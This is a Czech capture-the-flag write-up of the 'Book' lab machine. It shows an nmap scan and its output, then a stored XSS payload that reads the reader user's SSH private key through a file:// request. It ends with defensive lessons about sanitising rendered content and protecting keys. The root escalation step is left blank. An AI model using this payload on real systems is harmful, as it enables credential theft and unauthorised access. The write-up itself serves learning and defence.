Book
Úvod a kontext
Book stojí na jedné velmi konkrétní vazbě mezi webem a hostem: uložený JavaScript se nespouští v prohlížeči útočníka, ale v kontextu, který má přístup k lokálním souborům serveru. Proto tady XSS neslouží jen ke krádeži session, ale přímo k načtení file:///home/reader/.ssh/id_rsa. Obecněji tenhle vzorec rozebírám i v článku Stored XSS a admin browser a headless review jako útoková plocha.
Klíčový rozdíl proti běžnému webovému footholdu je v tom, že výsledkem není jednorázový webshell, ale stabilní SSH přístup k účtu reader. Jakmile z webové vrstvy vypadne soukromý klíč, útok se okamžitě přesune z aplikace na operační systém. To zároveň dobře navazuje i na článek Klientské, desktopové a ne-textové artefakty po footholdu, protože i tady jde o důvěryhodný artefakt vytažený z cizího klientského kontextu.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
Praktický základ prvního skenu rozebírám i v článku Nmap.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
Detailní analýza služeb
V dalším kroku si zpřesňuji verze služeb a jejich charakteristiky, protože právě z těchto detailů obvykle vzniká rozhodnutí, zda pokračovat přes web, SSH nebo jinou vrstvu.
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
| 256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_ 256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Získání přístupu
XSS čtení soukromého klíče
Payload se neprovádí lokálně u útočníka, ale v kontextu, který umí sáhnout na file:///home/reader/.ssh/id_rsa. Právě tím se z klientské chyby stane přímý zdroj SSH materiálu.
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();</script>
=> id_rsa
Výsledkem je privátní klíč účtu reader, tedy stabilní přístup přes SSH místo jednorázového skriptu v prohlížeči.
Ověření přístupu jako reader
Jakmile je klíč použitelný, dává smysl přejít na SSH a potvrdit běžný uživatelský kontext přes user.txt.
cat user.txt
__CENSORED__
Eskalace oprávnění
Získání root flagu
cat root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Rozhodující nebyl samotný port scan, ale možnost spustit uložený JavaScript v kontextu, který dokázal číst
file:///home/reader/.ssh/id_rsa. - Webová chyba zde neměla cenu kvůli cookies, ale kvůli tomu, že přímo vydala SSH materiál pro účet
reader. - Jakmile webová vrstva otevře privátní klíč z homediru, mizí hranice mezi webovou aplikací a systémovým účtem mnohem rychleji než u klasického webshellu.
Co si odnést do praxe
- Funkce, které renderují uživatelský obsah v prohlížeči jiné role nebo v exportním workflow, musí aktivní obsah důsledně odstraňovat. Jakmile se spustí JavaScript, může zkoušet i
file://cesty. - Soukromé klíče v
~/.sshjsou plnohodnotná systémová tajemství. Pokud je může přečíst proces pracující s nedůvěryhodným obsahem, webová chyba se okamžitě mění v SSH foothold. - U client-side chyb je potřeba myslet i na hranici mezi webem a hostem. Jakmile prohlížeč nebo renderer běží v důvěryhodném kontextu, nejsou lokální soubory oddělené od aplikace tak, jak by se na první pohled zdálo.